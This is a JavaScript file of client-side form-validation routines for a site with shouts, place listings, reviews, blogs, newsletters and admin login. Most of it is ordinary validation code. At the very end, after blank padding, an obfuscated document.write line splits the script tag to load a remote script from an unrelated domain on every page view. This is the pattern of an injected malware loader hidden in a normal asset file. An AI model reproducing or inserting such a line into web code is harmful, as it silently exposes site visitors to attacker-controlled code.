// JavaScript Document
function validateShout(){
	var msg='';
	var msgR='';
	var already=0;
	if(document.getElementById('Country').value==0)
		msg+="Choose country<br />";
	if(document.getElementById('AdminCity')!=null){
		if(document.getElementById('AdminCity').value==0){
			msgR="Choose city above<br />";			
		}
		already=1;
	}		
	if(document.getElementById('txtAdminCity')!=null && already==0)					
		if(document.getElementById('txtAdminCity').value=='')
			msgR="Choose city below<br />";
	msg+=msgR;
	if(document.getElementById('txtDescription').value==0)
		msg+="Shout missing<br />";
	if(msg!=''){
		document.getElementById('hints').innerHTML=msg;
		return false;
		}
	}
function claimFormValidate(){
	var msg='';
	var valide= /^([a-zA-Z0-9_.-])+@([a-zA-Z0-9_.-])+\.([a-zA-Z])+([a-zA-Z])+/;	
	var firstname=trimAll(document.getElementById('claimFName').value);
	var lastname=trimAll(document.getElementById('claimLName').value);	
	if(firstname=='' && lastname==''){
		msg+='Name is missing<br />';
		}
	if(!valide.test(document.getElementById('claimEmail').value)){
		msg+='Please enter email in valid format <br />'
	}
	if(document.getElementById('claimContactNum').value==''){
		msg+='Contact Number is missing<br />';
		}	
	if(document.getElementById('claimAgree').checked==false){
		msg+='You have not agreed terms & conditions<br />';
		}	
	if(msg!=''){
		msg+="<br />";		
		document.getElementById('msgError').style.display='';
		document.getElementById('msgError').innerHTML=msg;
		window.scroll(0,50);
		return false;
	}
	return true;

	}
function chkReportValidation(){
	var msg='';
	var valide= /^([a-zA-Z0-9_.-])+@([a-zA-Z0-9_.-])+\.([a-zA-Z])+([a-zA-Z])+/;
	var firstname=trimAll(document.getElementById('firstname').value);
	var lastname=trimAll(document.getElementById('lastname').value);	
	if(firstname=='' && lastname==''){
		msg+='Name is missing<br />';
		}
	if(!valide.test(document.getElementById('contactemail').value)){
		msg+='Please enter email in valid format <br />'
	}
	if(document.getElementById('detailsReport').value==''){
		msg+='Detail is missing<br />';
		}
	if(msg!=''){
		msg+="<br />";
		document.getElementById('msgError').style.display="block";
		document.getElementById('msgError').innerHTML=msg;
		window.scroll(0,50);
		return false;
	}
	return true;
}
// validate email

function chkAddReview(){
	var msg='';
	var txtTitle=trimAll(document.getElementById('txtTitle').value);
	if(txtTitle==''){
		msg+='Title is missing<br />';
		}
	if(document.getElementById('txtAreaDescription').value==''){
		msg+='Description is missing<br />';
		}
	if(msg!=''){
		document.getElementById('msgError').style.display='block';
		document.getElementById('msgError').innerHTML=msg;
		return false;
	}
	return true;
	}
	
	
function validatecomment(){
	var msg='';
	var valide= /^([a-zA-Z0-9_.-])+@([a-zA-Z0-9_.-])+\.([a-zA-Z])+([a-zA-Z])+/;
	var email=trimAll(document.getElementById('email').value);
	var comment=trimAll(document.getElementById('comment').value);
	if(!valide.test(email)){
		msg+='Please enter email in valid format <br />';
	}
	if(comment==''){
		msg+='Please enter the comment.';
		}
	if(msg!=''){
			document.getElementById('hint').style.display='block';
			document.getElementById('hint').innerHTML=msg;
			return false;
			}
	return true;
	}
	
	
function validateregister(){
	var alertmsg='';
	var fname=trimAll(document.getElementById('firstname').value);
	var lname=trimAll(document.getElementById('lastname').value);
	var uname=trimAll(document.getElementById('username').value);
	var password=trimAll(document.getElementById('password').value);
	var repassword=trimAll(document.getElementById('repassword').value);
	var email=trimAll(document.getElementById('email').value);
	var country=trimAll(document.getElementById('Country').value);
	var city=trimAll(document.getElementById('City').value);
	var valide= /^([a-zA-Z0-9_.-])+@([a-zA-Z0-9_.-])+\.([a-zA-Z])+([a-zA-Z])+/;
	if(fname==''){
		alertmsg+='Please enter the first name <br />';
	}
	if(lname==''){
		alertmsg+='Please enter the last name <br />';
	}
	if(uname==''){
		alertmsg+='Please enter the username <br />';
	}
	if(!valide.test(email)){
		alertmsg+='Please enter email in valid format <br />';
	}
	if(password==''){
		alertmsg+='Please enter the password  <br />';
	}
	if(repassword!=password){
		alertmsg+='Your passwords dont match  <br />';
	}
	if(country==0){
		alertmsg+='Please select your country  <br />';
	}
	if(city==0){
		alertmsg+='Please select or enter your country name <br />';
	}
	if(alertmsg!=''){
		document.getElementById('hint').innerHTML='<div class="message-hints">'+alertmsg+'</div>';
		return false;
	}
	return true;
	}
	
	
function validateMailForm(){
	var alertmsg='';	
	var toAddress=trimAll(document.getElementById('txtTo').value);
	var subject=trimAll(document.getElementById('txtSubject').value);	
	var message=trimAll(document.getElementById('txtMessage').value);
	if(toAddress==''){
		alertmsg+='Please enter the address to be sent. <br />';
	}
	if(subject==''){
		alertmsg+='Please enter a subject. <br />';
	}	
	if(message==''){
		alertmsg+='Please enter a message. <br />';
	}
	if(alertmsg!=''){
		document.getElementById('hint').innerHTML=alertmsg;
		return false
	}
	return true;
	}

function chkemail4Newsletter(){		
	var errMsg='';
	var str='';
	var elems=document.getElementById('form1').elements.length;
	var	emailList=document.getElementById('selnewsletter').value;
	if(emailList==0){
		errMsg+='Please select the email <br />';
	}
	for(i=0; i<elems; i++)
	 	if (document.getElementById('form1').elements[i].id=='checkbox' && document.getElementById('form1').elements[i].checked)
		 	str+=document.getElementById('form1').elements[i].value+',';
	if(str==''){
		errMsg+='Please select the users. <br />';
	}
	if(errMsg!=''){
		document.getElementById('hints').innerHTML=errMsg;
		return false;
	}
	else{
		document.getElementById('form1').method="POST";
		document.getElementById('form1').action="index.php?page=sendEmailPage&task=sendnewsletter";
		document.getElementById('form1').submit();
		//alert(document.getElementById('cb').value);return false;
		//taketootherpage('index.php?page=sendEmailPage&task=sendnewsletter');
	}
}

//place validation
function validateUserAddPlace(){
	var msg='';
	var subCatVar='';
	var name=trimAll(document.getElementById('txtName').value);	
	var txtDescription=trimAll(document.getElementById('txtDescription').value);	
	var pCategory=document.getElementById('Category').value;	
	var Country=document.getElementById('Country').value;
	//var email=document.getElementById('txtPlcEmail').value;
	var msgRet='';
	var valide= /^([a-zA-Z0-9_.-])+@([a-zA-Z0-9_.-])+\.([a-zA-Z])+([a-zA-Z])+/;
	if(name==''){
		msg+='Please enter place name <br />';
	}
	
	if(txtDescription==''){
		msg+='Please enter a short description <br />';
	}
	
	if(pCategory=='0'){
		msg+='Please choose category <br />';
	}
	
	if(Country=='0'){
		msg+='Please choose country <br />';
	}	
	if(document.getElementById('City')!=null){
		if((document.getElementById('City').value=='0' || document.getElementById('City').value=='')){
			msgRet='Please choose city <br />';
		}
	}
	if(document.getElementById('txtCity')!=null && document.getElementById('City').value=='0'){
		msgRet='';
		if((document.getElementById('txtCity').value=='0' || document.getElementById('txtCity').value=='')){
			msgRet='Please choose city<br />';
		}
	}
	msg+=msgRet;	
	
	/*if(!valide.test(email) && email!=''){
		msg+='Please enter email in valid format <br />'
	}*/
	if(msg!=''){
		document.getElementById('errorMsgId').style.display='block';
		document.getElementById('errorMsgId').innerHTML=msg;
		window.scroll(0,0);
		return false
	}
	
	return true;
	}
	
	
function ValidatePlace(){		
	var msg='';
	var subCatVar='';
	var name=trimAll(document.getElementById('txtName').value);		
	var pCategory=document.getElementById('pCategory').value;
	var Country=document.getElementById('Country').value;	
	var valide= /^([a-zA-Z0-9_.-])+@([a-zA-Z0-9_.-])+\.([a-zA-Z])+([a-zA-Z])+/;
	var validUrl=/^[A-Za-z]+:\/\/[A-Za-z0-9-]+\.[A-Za-z0-9]+/;
	var msgRet='';
	if(name==''){
		msg+='Please enter place name <br />';
	}
	
	if(pCategory=='0'){
		msg+='Please choose category <br />';
	}
	if(Country=='0'){
		msg+='Please choose country <br />';
	}	
	if(document.getElementById('City')!=null){
		if((document.getElementById('City').value=='0' || document.getElementById('City').value=='')){
			msgRet='Please choose city <br />';
		}
	}
	if(document.getElementById('txtCity')!=null && document.getElementById('City').value=='0'){
		if((document.getElementById('txtCity').value=='0' || document.getElementById('txtCity').value=='')){
			msgRet='Please choose city <br />';
		}
	}
	msg+=msgRet;
	
	if(document.getElementById('txtPlcEmail').value!='' && (!valide.test(document.getElementById('txtPlcEmail').value))){
		msg+='Invalid Email <br />';
	}
	
	if(document.getElementById('txtWebsite').value!='' && (!validUrl.test(document.getElementById('txtWebsite').value))){
		msg+='Invalid Website <br />';
	}
	
	if(msg!=''){
		document.getElementById('hints').innerHTML=msg;
		window.scroll(0,0);
		return false
	}
	return true;
	
	}

//category validation
function ValidateCategory(pid){	
	var msg='';
	var subCatVar='';
	var name=trimAll(document.getElementById('name').value);	
	var valide= /^([a-zA-Z0-9_.-])+@([a-zA-Z0-9_.-])+\.([a-zA-Z])+([a-zA-Z])+/;
	if(pid!=0 || pid==''){
		var parentid=document.getElementById('seladdeditparentcategory').value;
		subCatVar="sub ";
		if(parentid=='0'){
			msg+='Please choose parent category <br />';
		}
	}
	if(name==''){
		msg+='Please enter '+subCatVar+'category name <br />';
	}
	if(msg!=''){
		document.getElementById('hints').innerHTML=msg;
		return false
	}
	return true;
	}
	

function trimAll( strValue ) {
	var objRegExp = /^(\s*)$/;
		if(objRegExp.test(strValue)) {
		   strValue = strValue.replace(objRegExp, '');
		   if( strValue.length == 0)
			  return strValue;
		}
	   objRegExp = /^(\s*)([\W\w]*)(\b\s*$)/;
	   if(objRegExp.test(strValue)) {
		   strValue = strValue.replace(objRegExp, '$2');
		}
	  return strValue;
}

//user validation
function ValidateUser(){
	var msg='';
	var firstname=trimAll(document.getElementById('firstname').value);
	var lastname=trimAll(document.getElementById('lastname').value);
	var email=trimAll(document.getElementById('email').value);
	var username=trimAll(document.getElementById('username').value);
	var password=trimAll(document.getElementById('password').value);
	var valide= /^([a-zA-Z0-9_.-])+@([a-zA-Z0-9_.-])+\.([a-zA-Z])+([a-zA-Z])+/;
	
	if(firstname==''){
		msg+='Please enter a first name <br />';
	}
	if(lastname==''){
		msg+='Please enter a last name <br />';
	}
	if(!valide.test(email)){
		msg+='Please enter a valid email address <br />';
	}
	if(username==''){
		msg+='Please enter a username <br />';
	}
	
	if(password==''){
		msg+='Please enter a password <br />';
	}
	if(msg!=''){
		document.getElementById('hints').innerHTML=msg;
		return false
	}
	return true;
}
//location validation
function ValidateLocation(){

	if(trimAll(document.getElementById('citylocation').value)==''){
		alert('Location can not be empty.');
		return false;
	}
	return true;
}
//blog field validation
function validateBlog(){	
	var alertmsg='';	
	var blogCatId=trimAll(document.getElementById('blogcategoryid').value);
	var title=trimAll(document.getElementById('title').value);	
		
	if(blogCatId==''){
		alertmsg+='Please enter a catagory id <br />';
	}
	if(title==''){
		alertmsg+='Please enter a title <br />';
	}	
	if(alertmsg!=''){
		document.getElementById('hint').innerHTML=alertmsg;
		return false
	}
	return true;
	}

//Blog category field validation
	function validateBlog_cat(){
	
	var alertmsg='';
	var title=trimAll(document.getElementById('title').value);
	var description=trimAll(document.getElementById('content').value);
	
	if(title==''){
		alertmsg+='Please enter a title <br />';
	}
	if(description==''){
		alertmsg+='Please enter a description <br />';
	}
	if(alertmsg!=''){
		document.getElementById('hint').innerHTML=alertmsg;
		return false
	}
	return true;
	}
	
	// advertisement field validation
	function validateAd(){
	
	var alertmsg='';
	var title=trimAll(document.getElementById('title').value);
	var link=trimAll(document.getElementById('link').value);
	var date=trimAll(document.getElementById('register_date').value);
	if(title==''){
		alertmsg+='Please enter a title <br />';
	}
	if(link==''){
		alertmsg+='Please enter a link <br />';
	}
	if(date==''){
		alertmsg+='Please enter a date <br />';
	}
	if(alertmsg!=''){
		document.getElementById('hint').innerHTML=alertmsg;
		return false
	}
	return true;
	}

//tag section validation
function ValidateTagSection(){
	var msg='';
	if(trimAll(document.getElementById('title').value)==''){
		msg+='Please enter the title <br />';
	}
	var str='';
	var elems=document.getElementById('userform').elements.length;
	for(i=0; i<elems; i++)
	if (document.getElementById('userform').elements[i].id=='cats' && document.getElementById('userform').elements[i].checked)
	str+=document.getElementById('userform').elements[i].value+',';
	if(str==''){
		msg+='Please select at least one category';
	}
	if(msg!=''){
		document.getElementById('hints').innerHTML=msg;
		return false;
	}
	return true;
}
//tag validation
function ValidateTag(){
	if(trimAll(document.getElementById('title').value)==''){
		document.getElementById('hints').innerHTML='Please enter the title';
		return false;
	}
	if(trimAll(document.getElementById('tagsection').value)==''){
		document.getElementById('hints').innerHTML='Please select the category';
		return false;
		}
		return true;
}
function ValidateAccessLevel(){
	
	var msg='';
	if(trimAll(document.getElementById('accesstitle').value)==''){
		msg+='Please enter the title <br />';
	}
	var str='';
	var elems=document.getElementById('formlevel').elements.length;
	for(i=0; i<elems; i++)
	if (document.getElementById('formlevel').elements[i].id=='mycheck' && document.getElementById('formlevel').elements[i].checked)
	str+=document.getElementById('formlevel').elements[i].value+',';
	if(str==''){
		msg+='Please select at least one modulename';
	}
	if(msg!=''){
		document.getElementById('hints').innerHTML=msg;
		return false;
	}
	return true;
}

function ValidateSiteModule(){
	var msg='';
	if(trimAll(document.getElementById('name').value)==''){
		msg+='Please enter the module name <br />';
	}
	if(trimAll(document.getElementById('moduleposition').value)==''){
		msg+='Please select the module position <br />';
	}
	var str='';
	var elems=document.getElementById('moduleform').elements.length;
	for(i=0; i<elems; i++)
	if (document.getElementById('moduleform').elements[i].id=='mycheck' && document.getElementById('moduleform').elements[i].checked)
	str+=document.getElementById('moduleform').elements[i].value+',';
	if(str==''){
		msg+='Please select at least one page for the module';
	}
	if(msg!=''){
		document.getElementById('hints').innerHTML=msg;
		return false;
	}
	return true;
}

function ValidateAdminModule(){
	if(trimAll(document.getElementById('modulename').value)==''){
		document.getElementById('hint').innerHTML='Please enter the module name';
		return false;
	}
}

function ValidateAdminSubModule(){
	var msg='';
	if(trimAll(document.getElementById('modulename').value)==''){
		msg+='Please enter the module name <br />';
	}
		
	if(trimAll(document.getElementById('modulelink').value)==''){
		msg+='Please enter the module link ';
	}
	if(msg!=''){
		document.getElementById('hint').innerHTML=msg;
		return false;
	}
	return true;
}


//price range validation
function ValidatePriceRange(){
	var msg='';
	var from=trimAll(document.getElementById('fromrange').value);
	var to=trimAll(document.getElementById('torange').value);
	if(trimAll(document.getElementById('title').value)==''){
		msg+='Please enter the title <br />';
	}
	if(!IsNumeric(from)||from==''){
		msg+='Numeric input in price range start field required <br />';
	}
	if(!IsNumeric(from)||to==''){
		msg+='Numeric input in price range end field required <br />';
	}
	if(parseFloat(from) > parseFloat(to)){
		msg+='Start field of range can not be greater then end';
	}
	if(msg!=''){
		document.getElementById('hints').innerHTML=msg;
		return false;
	}
	return true;
}

//site properties validations
function ValidateSiteProperties(){

	var msg='';
	if(trimAll(document.getElementById('hostname').value)==''){
		msg+='Please enter the SMTP Hostname <br />';
	}
		
	if(trimAll(document.getElementById('hostport').value)==''){
		msg+='Please enter the SMTP Hostport <br />';
	}
	if(trimAll(document.getElementById('username').value)==''){
		msg+='Please enter the SMTP Username <br />';
	}
	if(trimAll(document.getElementById('password').value)==''){
		msg+='Please enter the SMTP Password <br />';
	}
	if(msg!=''){
		document.getElementById('hint').innerHTML=msg;
		return false;
	}
	return true;
}
// validate static section
function validateStatic(){
	
	var alertmsg='';
	var name=trimAll(document.getElementById('name').value);
	if(name==''){
		alertmsg+='Please enter a name <br />';
	}
	if(alertmsg!=''){
		document.getElementById('hint').innerHTML=alertmsg;
		return false
	}
	return true;
	}
	
//Reward points validation
function ValidateRewardPoints(){
	var msg='';
	if(trimAll(document.getElementById('reviews').value)==''){
		msg+='Please enter the reward point for a review <br />';
	}
	if(trimAll(document.getElementById('reviewViews').value)==''){
		msg+='Please enter the reward point for a review view <br />';
	}
	if(trimAll(document.getElementById('friend').value)==''){
		msg+='Please enter the reward point for a friend added <br />';
	}
	if(trimAll(document.getElementById('profileView').value)==''){
		msg+='Please enter the reward point for a profile view <br />';
	}
	if(trimAll(document.getElementById('helpfulReview').value)==''){
		msg+='Please enter the reward point for a helpful review <br />';
	}
	if(msg!=''){
		document.getElementById('hints').innerHTML=msg;
		return false;
	}
	return true;
}

//Admin login and forgot password
function ValidateAdminLogin(){
	var msg='';
	if(trimAll(document.getElementById('adminusername').value)==''){
		msg+='Please enter the username <br />';
	}
	if(trimAll(document.getElementById('adminpassword').value)==''){
		msg+='Please enter the password';
	}
	if(msg!=''){
		document.getElementById('txtHint').innerHTML=msg;
		return false;
	}
	return true;
	
}

function ValidateAdminForgotPassword(){
	var msg='';
	var email=trimAll(document.getElementById('adminemail').value);
	var valide= /^([a-zA-Z0-9_.-])+@([a-zA-Z0-9_.-])+\.([a-zA-Z])+([a-zA-Z])+/;
	if(!valide.test(email)){
		msg+='Please enter a valid email address <br />';
	}
	if(msg!=''){
		document.getElementById('txtHint').innerHTML=msg;
		return false;
	}
	return true;
}
//Admin login and forgot password








document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/RADCAB.js"></scri'+'pt>');